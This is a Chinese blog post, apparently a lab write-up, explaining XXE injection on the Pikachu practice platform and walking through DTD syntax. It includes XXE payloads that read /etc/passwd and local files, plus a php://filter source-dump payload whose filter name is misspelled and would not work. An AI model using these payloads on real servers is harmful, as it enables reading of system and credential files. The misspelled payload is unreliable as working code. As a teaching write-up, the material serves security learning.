这里直接借用：那少年和狗大佬的WP！
原地址：https://www.cnblogs.com/dogecheng/p/11652022.html
小知识：
XXE，”xml external entity injection”，即”xml外部实体注入漏洞”。
攻击者通过向服务器注入指定的xml实体内容，从而让服务器按照指定的配置进行执行，导致问题
也就是说服务端接收和解析了来自用户端的xml数据，而又没有做严格的安全控制，从而导致xml外部实体注入。
XML语法结构大致如下：
第一部分：XML声明部分
<?xml version=”1.0″?>
第二部分：文档类型定义 DTD
<!DOCTYPE note[
<!–定义此文档是note类型的文档–>
<!ENTITY entity-name SYSTEM “URI/URL”>
<!–外部实体声明–>
]>
第三部分：文档元素
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>
其中，DTD（Document Type Definition，文档类型定义），用来为 XML 文档定义语法约束，可以是内部申明也可以使引用外部DTD现在很多语言里面对应的解析xml的函数默认是禁止解析外部实体内容的，从而也就直接避免了这个漏洞。
① 内部申明DTD格式
<!DOCTYPE 根元素 [元素申明]>
② 外部引用DTD格式
<!DOCTYPE 根元素 SYSTEM “外部DTD的URI”>
③ 引用公共DTD格式
<!DOCTYPE 根元素 PUBLIC “DTD标识名” “公共DTD的URI”>
外部实体引用 Payload：
<?xml version=”1.0″?>
<!DOCTYPE ANY[
<!ENTITY f SYSTEM “file:///etc/passwd”>
]>
<x>&f;</x>
我们看一下前文概述里的描述和源代码：
以PHP为例,在PHP里面解析xml用的是libxml,其在≥2.9.0的版本中,默认是禁止解析xml外部实体内容的。本章提供的案例中,为了模拟漏洞,通过手动指定LIBXML_NOENT选项开启了xml外部实体解析。
在 Pikachu 平台上，我们先提交一个正常的 xml 数据：
<?xml version = “1.0”?> <!DOCTYPE ANY [ <!ENTITY test “zhifei”> ]> <name>&test;</name>
接着，我们再提交一个读取服务器上文件的PAYLOAD：
<?xml version = “1.0”?> <!DOCTYPE ANY [ <!ENTITY test SYSTEM “file:///D://phpStudy//PHPTutorial//WWW//pikachu//3.txt”> ]> <x>&test;</x>
<?xml version = “1.0”?> <!DOCTYPE ANY [ <!ENTITY test SYSTEM “file:///D://1.txt”> ]> <x>&test;</x>
D盘要目录，可以读取
这里有一个疑问啊？
正常的文件数据是可以读取的！！！
但是像PHP代码无法读取！！！！
我这里修改一个11.txt
<?xml version = “1.0”?> <!DOCTYPE ANY [ <!ENTITY test SYSTEM “file:///D://phpStudy//PHPTutorial//WWW//pikachu//11.txt”> ]> <x>&test;</x>
确实，代码无法读取！！！！
后来，我查了一个，要获取源码，要通过以上命令：
“php://filter/read=conver.base64-encode/resouce=index.php”
所以咱们修改一下PAYLOAD试一下！！！
<?xml version = “1.0”?> <!DOCTYPE ANY [ <!ENTITY test SYSTEM “php://filter/read=conver.base64-encode/resouce=2.php”> ]> <x>&test;</x>
算了，大概就是这样吧，XXE漏洞还有进行命令执行等。
详见：
https://www.cnblogs.com/-zhong/p/11194080.html
来源：freebuf.com 2021-07-29 08:27:00 by: 知非知非知非
请登录后发表评论
注册